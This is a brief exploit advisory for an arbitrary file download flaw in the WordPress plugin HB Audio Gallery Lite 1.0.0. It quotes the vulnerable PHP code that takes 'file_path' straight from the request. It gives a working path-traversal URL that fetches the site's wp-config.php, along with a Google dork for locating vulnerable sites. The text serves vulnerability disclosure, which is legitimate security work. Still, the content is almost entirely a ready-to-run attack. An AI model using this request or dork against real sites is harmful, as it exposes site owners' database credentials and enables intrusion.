WordPress HB Audio Gallery Lite 1.0.0 Arbitrary File Download

`# Exploit Title: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Download  
# Exploit Author: CrashBandicot  
# Date: 2016-03-22  
# Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite  
# Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/  
# Tested on: MSWin32  
# Version: 1.0.0  
  
# Vuln file : gallery/audio-download.php  
  
11. if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {  
13. $file_size = $_REQUEST['file_size'];  
15. $file = $_REQUEST['file_path'];  
17. $filename = basename($file);  
....  
55. Header("Content-Disposition: attachment; filename='" . $filename . "'");  
  
  
# PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10  
  
  
# 22/03/2016 - Informed Vendor about Issue  
`